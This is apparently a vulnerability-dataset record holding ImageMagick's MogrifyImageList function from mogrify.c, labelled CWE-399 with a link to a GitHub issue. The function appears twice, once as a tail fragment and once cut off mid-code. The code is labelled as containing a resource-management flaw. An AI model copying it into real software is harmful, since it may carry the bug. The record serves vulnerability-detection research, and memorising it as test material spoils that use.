case OptimizePlusLayer:
{
layers=OptimizePlusImageLayers(*images,exception);
break;
}
case OptimizeTransLayer:
{
OptimizeImageTransparency(*images,exception);
break;
}
case RemoveDupsLayer:
{
RemoveDuplicateLayers(images,exception);
break;
}
case RemoveZeroLayer:
{
RemoveZeroDelayLayers(images,exception);
break;
}
case OptimizeLayer:
{
/*
General Purpose, GIF Animation Optimizer.
*/
layers=CoalesceImages(*images,exception);
if (layers == (Image *) NULL)
{
status=MagickFalse;
break;
}
*images=DestroyImageList(*images);
*images=layers;
layers=OptimizeImageLayers(*images,exception);
if (layers == (Image *) NULL)
{
status=MagickFalse;
break;
}
*images=DestroyImageList(*images);
*images=layers;
layers=(Image *) NULL;
OptimizeImageTransparency(*images,exception);
(void) RemapImages(quantize_info,*images,(Image *) NULL,
exception);
break;
}
case CompositeLayer:
{
CompositeOperator
compose;
Image
*source;
RectangleInfo
geometry;
/*
Split image sequence at the first 'NULL:' image.
*/
source=(*images);
while (source != (Image *) NULL)
{
source=GetNextImageInList(source);
if ((source != (Image *) NULL) &&
(LocaleCompare(source->magick,"NULL") == 0))
break;
}
if (source != (Image *) NULL)
{
if ((GetPreviousImageInList(source) == (Image *) NULL) ||
(GetNextImageInList(source) == (Image *) NULL))
source=(Image *) NULL;
else
{
/*
Separate the two lists, junk the null: image.
*/
source=SplitImageList(source->previous);
DeleteImageFromList(&source);
}
}
if (source == (Image *) NULL)
{
(void) ThrowMagickException(exception,GetMagickModule(),
OptionError,"MissingNullSeparator","layers Composite");
status=MagickFalse;
break;
}
/*
Adjust offset with gravity and virtual canvas.
*/
SetGeometry(*images,&geometry);
(void) ParseAbsoluteGeometry((*images)->geometry,&geometry);
geometry.width=source->page.width != 0 ?
source->page.width : source->columns;
geometry.height=source->page.height != 0 ?
source->page.height : source->rows;
GravityAdjustGeometry((*images)->page.width != 0 ?
(*images)->page.width : (*images)->columns,
(*images)->page.height != 0 ? (*images)->page.height :
(*images)->rows,(*images)->gravity,&geometry);
compose=OverCompositeOp;
option=GetImageOption(mogrify_info,"compose");
if (option != (const char *) NULL)
compose=(CompositeOperator) ParseCommandOption(
MagickComposeOptions,MagickFalse,option);
CompositeLayers(*images,compose,source,geometry.x,geometry.y,
exception);
source=DestroyImageList(source);
break;
}
}
if (layers == (Image *) NULL)
break;
*images=DestroyImageList(*images);
*images=layers;
break;
}
break;
}
case 'm':
{
if (LocaleCompare("map",option+1) == 0)
{
(void) SyncImagesSettings(mogrify_info,*images,exception);
if (*option == '+')
{
(void) RemapImages(quantize_info,*images,(Image *) NULL,
exception);
break;
}
i++;
break;
}
if (LocaleCompare("maximum",option+1) == 0)
{
Image
*maximum_image;
/*
Maximum image sequence (deprecated).
*/
(void) SyncImagesSettings(mogrify_info,*images,exception);
maximum_image=EvaluateImages(*images,MaxEvaluateOperator,exception);
if (maximum_image == (Image *) NULL)
{
status=MagickFalse;
break;
}
*images=DestroyImageList(*images);
*images=maximum_image;
break;
}
if (LocaleCompare("minimum",option+1) == 0)
{
Image
*minimum_image;
/*
Minimum image sequence (deprecated).
*/
(void) SyncImagesSettings(mogrify_info,*images,exception);
minimum_image=EvaluateImages(*images,MinEvaluateOperator,exception);
if (minimum_image == (Image *) NULL)
{
status=MagickFalse;
break;
}
*images=DestroyImageList(*images);
*images=minimum_image;
break;
}
if (LocaleCompare("morph",option+1) == 0)
{
Image
*morph_image;
(void) SyncImagesSettings(mogrify_info,*images,exception);
morph_image=MorphImages(*images,StringToUnsignedLong(argv[i+1]),
exception);
if (morph_image == (Image *) NULL)
{
status=MagickFalse;
break;
}
*images=DestroyImageList(*images);
*images=morph_image;
break;
}
if (LocaleCompare("mosaic",option+1) == 0)
{
Image
*mosaic_image;
(void) SyncImagesSettings(mogrify_info,*images,exception);
mosaic_image=MergeImageLayers(*images,MosaicLayer,exception);
if (mosaic_image == (Image *) NULL)
{
status=MagickFalse;
break;
}
*images=DestroyImageList(*images);
*images=mosaic_image;
break;
}
break;
}
case 'p':
{
if (LocaleCompare("poly",option+1) == 0)
{
char
*args,
token[MagickPathExtent];
const char
*p;
double
*arguments;
Image
*polynomial_image;
register ssize_t
x;
size_t
number_arguments;
/*
Polynomial image.
*/
(void) SyncImageSettings(mogrify_info,*images,exception);
args=InterpretImageProperties(mogrify_info,*images,argv[i+1],
exception);
if (args == (char *) NULL)
break;
p=(char *) args;
for (x=0; *p != '\0'; x++)
{
GetNextToken(p,&p,MagickPathExtent,token);
if (*token == ',')
GetNextToken(p,&p,MagickPathExtent,token);
}
number_arguments=(size_t) x;
arguments=(double *) AcquireQuantumMemory(number_arguments,
sizeof(*arguments));
if (arguments == (double *) NULL)
ThrowWandFatalException(ResourceLimitFatalError,
"MemoryAllocationFailed",(*images)->filename);
(void) memset(arguments,0,number_arguments*
sizeof(*arguments));
p=(char *) args;
for (x=0; (x < (ssize_t) number_arguments) && (*p != '\0'); x++)
{
GetNextToken(p,&p,MagickPathExtent,token);
if (*token == ',')
GetNextToken(p,&p,MagickPathExtent,token);
arguments[x]=StringToDouble(token,(char **) NULL);
}
args=DestroyString(args);
polynomial_image=PolynomialImage(*images,number_arguments >> 1,
arguments,exception);
arguments=(double *) RelinquishMagickMemory(arguments);
if (polynomial_image == (Image *) NULL)
{
status=MagickFalse;
break;
}
*images=DestroyImageList(*images);
*images=polynomial_image;
}
if (LocaleCompare("print",option+1) == 0)
{
char
*string;
(void) SyncImagesSettings(mogrify_info,*images,exception);
string=InterpretImageProperties(mogrify_info,*images,argv[i+1],
exception);
if (string == (char *) NULL)
break;
(void) FormatLocaleFile(stdout,"%s",string);
string=DestroyString(string);
}
if (LocaleCompare("process",option+1) == 0)
{
char
**arguments;
int
j,
number_arguments;
(void) SyncImagesSettings(mogrify_info,*images,exception);
arguments=StringToArgv(argv[i+1],&number_arguments);
if (arguments == (char **) NULL)
break;
if ((argc > 1) && (strchr(arguments[1],'=') != (char *) NULL))
{
char
breaker,
quote,
*token;
const char
*argument;
int
next,
token_status;
size_t
length;
TokenInfo
*token_info;
/*
Support old style syntax, filter="-option arg".
*/
length=strlen(argv[i+1]);
token=(char *) NULL;
if (~length >= (MagickPathExtent-1))
token=(char *) AcquireQuantumMemory(length+MagickPathExtent,
sizeof(*token));
if (token == (char *) NULL)
break;
next=0;
argument=argv[i+1];
token_info=AcquireTokenInfo();
token_status=Tokenizer(token_info,0,token,length,argument,"",
"=","\"",'\0',&breaker,&next,"e);
token_info=DestroyTokenInfo(token_info);
if (token_status == 0)
{
const char
*arg;
arg=(&(argument[next]));
(void) InvokeDynamicImageFilter(token,&(*images),1,&arg,
exception);
}
token=DestroyString(token);
break;
}
(void) SubstituteString(&arguments[1],"-","");
(void) InvokeDynamicImageFilter(arguments[1],&(*images),
number_arguments-2,(const char **) arguments+2,exception);
for (j=0; j < number_arguments; j++)
arguments[j]=DestroyString(arguments[j]);
arguments=(char **) RelinquishMagickMemory(arguments);
break;
}
break;
}
case 'r':
{
if (LocaleCompare("reverse",option+1) == 0)
{
ReverseImageList(images);
break;
}
break;
}
case 's':
{
if (LocaleCompare("smush",option+1) == 0)
{
Image
*smush_image;
ssize_t
offset;
(void) SyncImagesSettings(mogrify_info,*images,exception);
offset=(ssize_t) StringToLong(argv[i+1]);
smush_image=SmushImages(*images,*option == '-' ? MagickTrue :
MagickFalse,offset,exception);
if (smush_image == (Image *) NULL)
{
status=MagickFalse;
break;
}
*images=DestroyImageList(*images);
*images=smush_image;
break;
}
if (LocaleCompare("swap",option+1) == 0)
{
Image
*p,
*q,
*u,
*v;
ssize_t
swap_index;
index=(-1);
swap_index=(-2);
if (*option != '+')
{
GeometryInfo
geometry_info;
MagickStatusType
flags;
swap_index=(-1);
flags=ParseGeometry(argv[i+1],&geometry_info);
index=(ssize_t) geometry_info.rho;
if ((flags & SigmaValue) != 0)
swap_index=(ssize_t) geometry_info.sigma;
}
p=GetImageFromList(*images,index);
q=GetImageFromList(*images,swap_index);
if ((p == (Image *) NULL) || (q == (Image *) NULL))
{
(void) ThrowMagickException(exception,GetMagickModule(),
OptionError,"NoSuchImage","`%s'",(*images)->filename);
status=MagickFalse;
break;
}
if (p == q)
break;
u=CloneImage(p,0,0,MagickTrue,exception);
if (u == (Image *) NULL)
break;
v=CloneImage(q,0,0,MagickTrue,exception);
if (v == (Image *) NULL)
{
u=DestroyImage(u);
break;
}
ReplaceImageInList(&p,v);
ReplaceImageInList(&q,u);
*images=GetFirstImageInList(q);
break;
}
break;
}
case 'w':
{
if (LocaleCompare("write",option+1) == 0)
{
char
key[MagickPathExtent];
Image
*write_images;
ImageInfo
*write_info;
(void) SyncImagesSettings(mogrify_info,*images,exception);
(void) FormatLocaleString(key,MagickPathExtent,"cache:%s",
argv[i+1]);
(void) DeleteImageRegistry(key);
write_images=(*images);
if (*option == '+')
write_images=CloneImageList(*images,exception);
write_info=CloneImageInfo(mogrify_info);
status&=WriteImages(write_info,write_images,argv[i+1],exception);
write_info=DestroyImageInfo(write_info);
if (*option == '+')
write_images=DestroyImageList(write_images);
break;
}
break;
}
default:
break;
}
i+=count;
}
quantize_info=DestroyQuantizeInfo(quantize_info);
mogrify_info=DestroyImageInfo(mogrify_info);
status&=MogrifyImageInfo(image_info,argc,argv,exception);
return(status != 0 ? MagickTrue : MagickFalse);
}
Commit Message: https://github.com/ImageMagick/ImageMagick/issues/1616
CWE ID: CWE-399 | WandExport MagickBooleanType MogrifyImageList(ImageInfo *image_info,
const int argc,const char **argv,Image **images,ExceptionInfo *exception)
{
const char
*option;
ImageInfo
*mogrify_info;
MagickStatusType
status;
PixelInterpolateMethod
interpolate_method;
QuantizeInfo
*quantize_info;
register ssize_t
i;
ssize_t
count,
index;
/*
Apply options to the image list.
*/
assert(image_info != (ImageInfo *) NULL);
assert(image_info->signature == MagickCoreSignature);
assert(images != (Image **) NULL);
assert((*images)->previous == (Image *) NULL);
assert((*images)->signature == MagickCoreSignature);
if ((*images)->debug != MagickFalse)
(void) LogMagickEvent(TraceEvent,GetMagickModule(),"%s",
(*images)->filename);
if ((argc <= 0) || (*argv == (char *) NULL))
return(MagickTrue);
interpolate_method=UndefinedInterpolatePixel;
mogrify_info=CloneImageInfo(image_info);
quantize_info=AcquireQuantizeInfo(mogrify_info);
status=MagickTrue;
for (i=0; i < (ssize_t) argc; i++)
{
if (*images == (Image *) NULL)
break;
option=argv[i];
if (IsCommandOption(option) == MagickFalse)
continue;
count=ParseCommandOption(MagickCommandOptions,MagickFalse,option);
count=MagickMax(count,0L);
if ((i+count) >= (ssize_t) argc)
break;
status=MogrifyImageInfo(mogrify_info,(int) count+1,argv+i,exception);
switch (*(option+1))
{
case 'a':
{
if (LocaleCompare("affinity",option+1) == 0)
{
(void) SyncImagesSettings(mogrify_info,*images,exception);
if (*option == '+')
{
(void) RemapImages(quantize_info,*images,(Image *) NULL,
exception);
break;
}
i++;
break;
}
if (LocaleCompare("append",option+1) == 0)
{
Image
*append_image;
(void) SyncImagesSettings(mogrify_info,*images,exception);
append_image=AppendImages(*images,*option == '-' ? MagickTrue :
MagickFalse,exception);
if (append_image == (Image *) NULL)
{
status=MagickFalse;
break;
}
*images=DestroyImageList(*images);
*images=append_image;
break;
}
if (LocaleCompare("average",option+1) == 0)
{
Image
*average_image;
/*
Average an image sequence (deprecated).
*/
(void) SyncImagesSettings(mogrify_info,*images,exception);
average_image=EvaluateImages(*images,MeanEvaluateOperator,
exception);
if (average_image == (Image *) NULL)
{
status=MagickFalse;
break;
}
*images=DestroyImageList(*images);
*images=average_image;
break;
}
break;
}
case 'c':
{
if (LocaleCompare("channel-fx",option+1) == 0)
{
Image
*channel_image;
(void) SyncImagesSettings(mogrify_info,*images,exception);
channel_image=ChannelFxImage(*images,argv[i+1],exception);
if (channel_image == (Image *) NULL)
{
status=MagickFalse;
break;
}
*images=DestroyImageList(*images);
*images=channel_image;
break;
}
if (LocaleCompare("clut",option+1) == 0)
{
Image
*clut_image,
*image;
(void) SyncImagesSettings(mogrify_info,*images,exception);
image=RemoveFirstImageFromList(images);
clut_image=RemoveFirstImageFromList(images);
if (clut_image == (Image *) NULL)
{
status=MagickFalse;
break;
}
(void) ClutImage(image,clut_image,interpolate_method,exception);
clut_image=DestroyImage(clut_image);
*images=DestroyImageList(*images);
*images=image;
break;
}
if (LocaleCompare("coalesce",option+1) == 0)
{
Image
*coalesce_image;
(void) SyncImagesSettings(mogrify_info,*images,exception);
coalesce_image=CoalesceImages(*images,exception);
if (coalesce_image == (Image *) NULL)
{
status=MagickFalse;
break;
}
*images=DestroyImageList(*images);
*images=coalesce_image;
break;
}
if (LocaleCompare("combine",option+1) == 0)
{
ColorspaceType
colorspace;
Image
*combine_image;
(void) SyncImagesSettings(mogrify_info,*images,exception);
colorspace=(*images)->colorspace;
if ((*images)->number_channels < GetImageListLength(*images))
colorspace=sRGBColorspace;
if (*option == '+')
colorspace=(ColorspaceType) ParseCommandOption(
MagickColorspaceOptions,MagickFalse,argv[i+1]);
combine_image=CombineImages(*images,colorspace,exception);
if (combine_image == (Image *) NULL)
{
status=MagickFalse;
break;
}
*images=DestroyImageList(*images);
*images=combine_image;
break;
}
if (LocaleCompare("compare",option+1) == 0)
{
double
distortion;
Image
*difference_image,
*image,
*reconstruct_image;
MetricType
metric;
/*
Mathematically and visually annotate the difference between an
image and its reconstruction.
*/
(void) SyncImagesSettings(mogrify_info,*images,exception);
image=RemoveFirstImageFromList(images);
reconstruct_image=RemoveFirstImageFromList(images);
if (reconstruct_image == (Image *) NULL)
{
status=MagickFalse;
break;
}
metric=UndefinedErrorMetric;
option=GetImageOption(mogrify_info,"metric");
if (option != (const char *) NULL)
metric=(MetricType) ParseCommandOption(MagickMetricOptions,
MagickFalse,option);
difference_image=CompareImages(image,reconstruct_image,metric,
&distortion,exception);
if (difference_image == (Image *) NULL)
break;
reconstruct_image=DestroyImage(reconstruct_image);
image=DestroyImage(image);
if (*images != (Image *) NULL)
*images=DestroyImageList(*images);
*images=difference_image;
break;
}
if (LocaleCompare("complex",option+1) == 0)
{
ComplexOperator
op;
Image
*complex_images;
(void) SyncImageSettings(mogrify_info,*images,exception);
op=(ComplexOperator) ParseCommandOption(MagickComplexOptions,
MagickFalse,argv[i+1]);
complex_images=ComplexImages(*images,op,exception);
if (complex_images == (Image *) NULL)
{
status=MagickFalse;
break;
}
*images=DestroyImageList(*images);
*images=complex_images;
break;
}
if (LocaleCompare("composite",option+1) == 0)
{
CompositeOperator
compose;
const char*
value;
MagickBooleanType
clip_to_self;
Image
*mask_image,
*new_images,
*source_image;
RectangleInfo
geometry;
/* Compose value from "-compose" option only */
(void) SyncImageSettings(mogrify_info,*images,exception);
value=GetImageOption(mogrify_info,"compose");
if (value == (const char *) NULL)
compose=OverCompositeOp; /* use Over not source_image->compose */
else
compose=(CompositeOperator) ParseCommandOption(
MagickComposeOptions,MagickFalse,value);
/* Get "clip-to-self" expert setting (false is normal) */
clip_to_self=GetCompositeClipToSelf(compose);
value=GetImageOption(mogrify_info,"compose:clip-to-self");
if (value != (const char *) NULL)
clip_to_self=IsStringTrue(value);
value=GetImageOption(mogrify_info,"compose:outside-overlay");
if (value != (const char *) NULL)
clip_to_self=IsStringFalse(value); /* deprecated */
new_images=RemoveFirstImageFromList(images);
source_image=RemoveFirstImageFromList(images);
if (source_image == (Image *) NULL)
break; /* FUTURE - produce Exception, rather than silent fail */
/* FUTURE: this should not be here! - should be part of -geometry */
if (source_image->geometry != (char *) NULL)
{
RectangleInfo
resize_geometry;
(void) ParseRegionGeometry(source_image,source_image->geometry,
&resize_geometry,exception);
if ((source_image->columns != resize_geometry.width) ||
(source_image->rows != resize_geometry.height))
{
Image
*resize_image;
resize_image=ResizeImage(source_image,resize_geometry.width,
resize_geometry.height,source_image->filter,exception);
if (resize_image != (Image *) NULL)
{
source_image=DestroyImage(source_image);
source_image=resize_image;
}
}
}
SetGeometry(source_image,&geometry);
(void) ParseAbsoluteGeometry(source_image->geometry,&geometry);
GravityAdjustGeometry(new_images->columns,new_images->rows,
new_images->gravity,&geometry);
mask_image=RemoveFirstImageFromList(images);
if (mask_image == (Image *) NULL)
status&=CompositeImage(new_images,source_image,compose,
clip_to_self,geometry.x,geometry.y,exception);
else
{
if ((compose == DisplaceCompositeOp) ||
(compose == DistortCompositeOp))
{
status&=CompositeImage(source_image,mask_image,
CopyGreenCompositeOp,MagickTrue,0,0,exception);
status&=CompositeImage(new_images,source_image,compose,
clip_to_self,geometry.x,geometry.y,exception);
}
else
{
Image
*clone_image;
clone_image=CloneImage(new_images,0,0,MagickTrue,exception);
if (clone_image == (Image *) NULL)
break;
status&=CompositeImage(new_images,source_image,compose,
clip_to_self,geometry.x,geometry.y,exception);
status&=CompositeImage(new_images,mask_image,
CopyAlphaCompositeOp,MagickTrue,0,0,exception);
status&=CompositeImage(clone_image,new_images,
OverCompositeOp,clip_to_self,0,0,exception);
new_images=DestroyImageList(new_images);
new_images=clone_image;
}
mask_image=DestroyImage(mask_image);
}
source_image=DestroyImage(source_image);
*images=DestroyImageList(*images);
*images=new_images;
break;
}
if (LocaleCompare("copy",option+1) == 0)
{
Image
*source_image;
OffsetInfo
offset;
RectangleInfo
geometry;
/*
Copy image pixels.
*/
(void) SyncImageSettings(mogrify_info,*images,exception);
(void) ParsePageGeometry(*images,argv[i+2],&geometry,exception);
offset.x=geometry.x;
offset.y=geometry.y;
source_image=(*images);
if (source_image->next != (Image *) NULL)
source_image=source_image->next;
(void) ParsePageGeometry(source_image,argv[i+1],&geometry,
exception);
status=CopyImagePixels(*images,source_image,&geometry,&offset,
exception);
break;
}
break;
}
case 'd':
{
if (LocaleCompare("deconstruct",option+1) == 0)
{
Image
*deconstruct_image;
(void) SyncImagesSettings(mogrify_info,*images,exception);
deconstruct_image=CompareImagesLayers(*images,CompareAnyLayer,
exception);
if (deconstruct_image == (Image *) NULL)
{
status=MagickFalse;
break;
}
*images=DestroyImageList(*images);
*images=deconstruct_image;
break;
}
if (LocaleCompare("delete",option+1) == 0)
{
if (*option == '+')
DeleteImages(images,"-1",exception);
else
DeleteImages(images,argv[i+1],exception);
break;
}
if (LocaleCompare("dither",option+1) == 0)
{
if (*option == '+')
{
quantize_info->dither_method=NoDitherMethod;
break;
}
quantize_info->dither_method=(DitherMethod) ParseCommandOption(
MagickDitherOptions,MagickFalse,argv[i+1]);
break;
}
if (LocaleCompare("duplicate",option+1) == 0)
{
Image
*duplicate_images;
if (*option == '+')
duplicate_images=DuplicateImages(*images,1,"-1",exception);
else
{
const char
*p;
size_t
number_duplicates;
number_duplicates=(size_t) StringToLong(argv[i+1]);
p=strchr(argv[i+1],',');
if (p == (const char *) NULL)
duplicate_images=DuplicateImages(*images,number_duplicates,
"-1",exception);
else
duplicate_images=DuplicateImages(*images,number_duplicates,p,
exception);
}
AppendImageToList(images, duplicate_images);
(void) SyncImagesSettings(mogrify_info,*images,exception);
break;
}
break;
}
case 'e':
{
if (LocaleCompare("evaluate-sequence",option+1) == 0)
{
Image
*evaluate_image;
MagickEvaluateOperator
op;
(void) SyncImageSettings(mogrify_info,*images,exception);
op=(MagickEvaluateOperator) ParseCommandOption(
MagickEvaluateOptions,MagickFalse,argv[i+1]);
evaluate_image=EvaluateImages(*images,op,exception);
if (evaluate_image == (Image *) NULL)
{
status=MagickFalse;
break;
}
*images=DestroyImageList(*images);
*images=evaluate_image;
break;
}
break;
}
case 'f':
{
if (LocaleCompare("fft",option+1) == 0)
{
Image
*fourier_image;
/*
Implements the discrete Fourier transform (DFT).
*/
(void) SyncImageSettings(mogrify_info,*images,exception);
fourier_image=ForwardFourierTransformImage(*images,*option == '-' ?
MagickTrue : MagickFalse,exception);
if (fourier_image == (Image *) NULL)
break;
*images=DestroyImageList(*images);
*images=fourier_image;
break;
}
if (LocaleCompare("flatten",option+1) == 0)
{
Image
*flatten_image;
(void) SyncImagesSettings(mogrify_info,*images,exception);
flatten_image=MergeImageLayers(*images,FlattenLayer,exception);
if (flatten_image == (Image *) NULL)
break;
*images=DestroyImageList(*images);
*images=flatten_image;
break;
}
if (LocaleCompare("fx",option+1) == 0)
{
Image
*fx_image;
(void) SyncImagesSettings(mogrify_info,*images,exception);
fx_image=FxImage(*images,argv[i+1],exception);
if (fx_image == (Image *) NULL)
{
status=MagickFalse;
break;
}
*images=DestroyImageList(*images);
*images=fx_image;
break;
}
break;
}
case 'h':
{
if (LocaleCompare("hald-clut",option+1) == 0)
{
Image
*hald_image,
*image;
(void) SyncImagesSettings(mogrify_info,*images,exception);
image=RemoveFirstImageFromList(images);
hald_image=RemoveFirstImageFromList(images);
if (hald_image == (Image *) NULL)
{
status=MagickFalse;
break;
}
(void) HaldClutImage(image,hald_image,exception);
hald_image=DestroyImage(hald_image);
if (*images != (Image *) NULL)
*images=DestroyImageList(*images);
*images=image;
break;
}
break;
}
case 'i':
{
if (LocaleCompare("ift",option+1) == 0)
{
Image
*fourier_image,
*magnitude_image,
*phase_image;
/*
Implements the inverse fourier discrete Fourier transform (DFT).
*/
(void) SyncImagesSettings(mogrify_info,*images,exception);
magnitude_image=RemoveFirstImageFromList(images);
phase_image=RemoveFirstImageFromList(images);
if (phase_image == (Image *) NULL)
{
status=MagickFalse;
break;
}
fourier_image=InverseFourierTransformImage(magnitude_image,
phase_image,*option == '-' ? MagickTrue : MagickFalse,exception);
if (fourier_image == (Image *) NULL)
break;
if (*images != (Image *) NULL)
*images=DestroyImageList(*images);
*images=fourier_image;
break;
}
if (LocaleCompare("insert",option+1) == 0)
{
Image
*p,
*q;
index=0;
if (*option != '+')
index=(ssize_t) StringToLong(argv[i+1]);
p=RemoveLastImageFromList(images);
if (p == (Image *) NULL)
{
(void) ThrowMagickException(exception,GetMagickModule(),
OptionError,"NoSuchImage","`%s'",argv[i+1]);
status=MagickFalse;
break;
}
q=p;
if (index == 0)
PrependImageToList(images,q);
else
if (index == (ssize_t) GetImageListLength(*images))
AppendImageToList(images,q);
else
{
q=GetImageFromList(*images,index-1);
if (q == (Image *) NULL)
{
p=DestroyImage(p);
(void) ThrowMagickException(exception,GetMagickModule(),
OptionError,"NoSuchImage","`%s'",argv[i+1]);
status=MagickFalse;
break;
}
InsertImageInList(&q,p);
}
*images=GetFirstImageInList(q);
break;
}
if (LocaleCompare("interpolate",option+1) == 0)
{
interpolate_method=(PixelInterpolateMethod) ParseCommandOption(
MagickInterpolateOptions,MagickFalse,argv[i+1]);
break;
}
break;
}
case 'l':
{
if (LocaleCompare("layers",option+1) == 0)
{
Image
*layers;
LayerMethod
method;
(void) SyncImagesSettings(mogrify_info,*images,exception);
layers=(Image *) NULL;
method=(LayerMethod) ParseCommandOption(MagickLayerOptions,
MagickFalse,argv[i+1]);
switch (method)
{
case CoalesceLayer:
{
layers=CoalesceImages(*images,exception);
break;
}
case CompareAnyLayer:
case CompareClearLayer:
case CompareOverlayLayer:
default:
{
layers=CompareImagesLayers(*images,method,exception);
break;
}
case MergeLayer:
case FlattenLayer:
case MosaicLayer:
case TrimBoundsLayer:
{
layers=MergeImageLayers(*images,method,exception);
break;
}
case DisposeLayer:
{
layers=DisposeImages(*images,exception);
break;
}
case OptimizeImageLayer:
{
layers=OptimizeImageLayers(*images,exception);
break;
}
case OptimizePlusLayer:
{
layers=OptimizePlusImageLayers(*images,exception);
break;
}
case OptimizeTransLayer:
{
OptimizeImageTransparency(*images,exception);
break;
}
case RemoveDupsLayer:
{
RemoveDuplicateLayers(images,exception);
break;
}
case RemoveZeroLayer:
{
RemoveZeroDelayLayers(images,exception);
break;
}
case OptimizeLayer:
{
/*
General Purpose, GIF Animation Optimizer.
*/
layers=CoalesceImages(*images,exception);
if (layers == (Image *) NULL)
{
status=MagickFalse;
break;
}
*images=DestroyImageList(*images);
*images=layers;
layers=OptimizeImageLayers(*images,exception);
if (layers == (Image *) NULL)
{
status=MagickFalse;
break;
}
*images=DestroyImageList(*images);
*images=layers;
layers=(Image *) NULL;
OptimizeImageTransparency(*images,exception);
(void) RemapImages(quantize_info,*images,(Image *) NULL,
exception);
break;
}
case CompositeLayer:
{
CompositeOperator
compose;
Image
*source;
RectangleInfo
geometry;
/*
Split image sequence at the first 'NULL:' image.
*/
source=(*images);
while (source != (Image *) NULL)
{
source=GetNextImageInList(source);
if ((source != (Image *) NULL) &&
(LocaleCompare(source->magick,"NULL") == 0))
break;
}
if (source != (Image *) NULL)
{
if ((GetPreviousImageInList(source) == (Image *) NULL) ||
(GetNextImageInList(source) == (Image *) NULL))
source=(Image *) NULL;
else
{
/*
Separate the two lists, junk the null: image.
*/
source=SplitImageList(source->previous);
DeleteImageFromList(&source);
}
}
if (source == (Image *) NULL)
{
(void) ThrowMagickException(exception,GetMagickModule(),
OptionError,"MissingNullSeparator","layers Composite");
status=MagickFalse;
break;
}
/*
Adjust offset with gravity and virtual canvas.
*/
SetGeometry(*images,&geometry);
(void) ParseAbsoluteGeometry((*images)->geometry,&geometry);
geometry.width=source->page.width != 0 ?
source->page.width : source->columns;
geometry.height=source->page.height != 0 ?
source->page.height : source->rows;
GravityAdjustGeometry((*images)->page.width != 0 ?
(*images)->page.width : (*images)->columns,
(*images)->page.height != 0 ? (*images)->page.height :
(*images)->rows,(*images)->gravity,&geometry);
compose=OverCompositeOp;
option=GetImageOption(mogrify_info,"compose");
if (option != (const char *) NULL)
compose=(CompositeOperator) ParseCommandOption(
MagickComposeOptions,MagickFalse,option);
CompositeLayers(*images,compose,source,geometry.x,geometry.y,
exception);
source=DestroyImageList(source);
break;
}
}
if (layers == (Image *) NULL)
break;
*images=DestroyImageList(*images);
*images=layers;
break;
}
break;
}
case 'm':
{
if (LocaleCompare("map",option+1) == 0)
{
(void) SyncImagesSettings(mogrify_info,*images,exception);
if (*option == '+')
{
(void) RemapImages(quantize_info,*images,(Image *) NULL,
exception);
break;
}
i++;
break;
}
if (LocaleCompare("maximum",option+1) == 0)
{
Image
*maximum_image;
/*
Maximum image sequence (deprecated).
*/
(void) SyncImagesSettings(mogrify_info,*images,exception);
maximum_image=EvaluateImages(*images,MaxEvaluateOperator,exception);
if (maximum_image == (Image *) NULL)
{
status=MagickFalse;
break;
}
*images=DestroyImageList(*images);
*images=maximum_image;
break;
}
if (LocaleCompare("minimum",option+1) == 0)
{
Image
*minimum_image;
/*
Minimum image sequence (deprecated).
*/
(void) SyncImagesSettings(mogrify_info,*images,exception);
minimum_image=EvaluateImages(*images,MinEvaluateOperator,exception);
if (minimum_image == (Image *) NULL)
{
status=MagickFalse;
break;
}
*images=DestroyImageList(*images);
*images=minimum_image;
break;
}
if (LocaleCompare("morph",option+1) == 0)
{
Image
*morph_image;
(void) SyncImagesSettings(mogrify_info,*images,exception);
morph_image=MorphImages(*images,StringToUnsignedLong(argv[i+1]),
exception);
if (morph_image == (Image *) NULL)
{
status=MagickFalse;
break;
}
*images=DestroyImageList(*images);
*images=morph_image;
break;
}
if (LocaleCompare("mosaic",option+1) == 0)
{
Image
*mosaic_image;
(void) SyncImagesSettings(mogrify_info,*images,exception);
mosaic_image=MergeImageLayers(*images,MosaicLayer,exception);
if (mosaic_image == (Image *) NULL)
{
status=MagickFalse;
break;
}
*images=DestroyImageList(*images);
*images=mosaic_image;
break;
}
break;
}
case 'p':
{
if (LocaleCompare("poly",option+1) == 0)
{
char
*args,
token[MagickPathExtent];
const char
*p;
double
*arguments;
Image
*polynomial_image;
register ssize_t
x;
size_t
number_arguments;
/*
Polynomial image.
*/
(void) SyncImageSettings(mogrify_info,*images,exception);
args=InterpretImageProperties(mogrify_info,*images,argv[i+1],
exception);
if (args == (char *) NULL)
break;
p=(char *) args;
for (x=0; *p != '\0'; x++)
{
GetNextToken(p,&p,MagickPathExtent,token);
if (*token == ',')
GetNextToken(p,&p,MagickPathExtent,token);
}
number_arguments=(size_t) x;
arguments=(double *) AcquireQuantumMemory(number_arguments,
sizeof(*arguments));
if (arguments == (double *) NULL)
ThrowWandFatalException(ResourceLimitFatalError,
"MemoryAllocationFailed",(*images)->filename);
(void) memset(arguments,0,number_arguments*
sizeof(*arguments));
p=(char *) args;
for (x=0; (x < (ssize_t) number_arguments) && (*p != '\0'); x++)
{
GetNextToken(p,&p,MagickPathExtent,token);
if (*token == ',')
GetNextToken(p,&p,MagickPathExtent,token);
arguments[x]=StringToDouble(token,(char **) NULL);
}
args=DestroyString(args);
polynomial_image=PolynomialImage(*images,number_arguments >> 1,
arguments,exception);
arguments=(double *) RelinquishMagickMemory(arguments);
if (polynomial_image == (Image *) NULL)
{
status=MagickFalse;
break;
}
*images=DestroyImageList(*images);
*images=polynomial_image;
}
if (LocaleCompare("print",option+1) == 0)
{
char
*string;
(void) SyncImagesSettings(mogrify_info,*images,exception);
string=InterpretImageProperties(mogrify_info,*images,argv[i+1],
exception);
if (string == (char *) NULL)
break;
(void) FormatLocaleFile(stdout,"%s",string);
string=DestroyString(string);
}
if (LocaleCompare("process",option+1) == 0)
{
char
**arguments;
int
j,
number_arguments;
(void) SyncImagesSettings(mogrify_info,*images,exception);
arguments=StringToArgv(argv[i+1],&number_arguments);
if (arguments == (char **) NULL)
break;
if ((argc > 1) && (strchr(arguments[1],'=') != (char *) NULL))
{
char
breaker,
quote,
*token;
const char
*argument;
int
next,
token_status;
size_t
length;
TokenInfo
*token_info;
/*
Support old style syntax, filter="-option arg".
*/
length=strlen(argv[i+1]);
token=(char *) NULL;
if (~length >= (MagickPathExtent-1))
token=(char *) AcquireQuantumMemory(length+MagickPathExtent,
sizeof(*token));
if (token == (char *) NULL)
break;
next=0;
argument=argv[i+1];
token_info=AcquireTokenInfo();
token_status=Tokenizer(token_info,0,token,length,argument,"",
"=","\"",'\0',&breaker,&next,"e);
token_info=DestroyTokenInfo(token_info);
if (token_status == 0)
{
const char
*arg;
arg=(&(argument[next]));
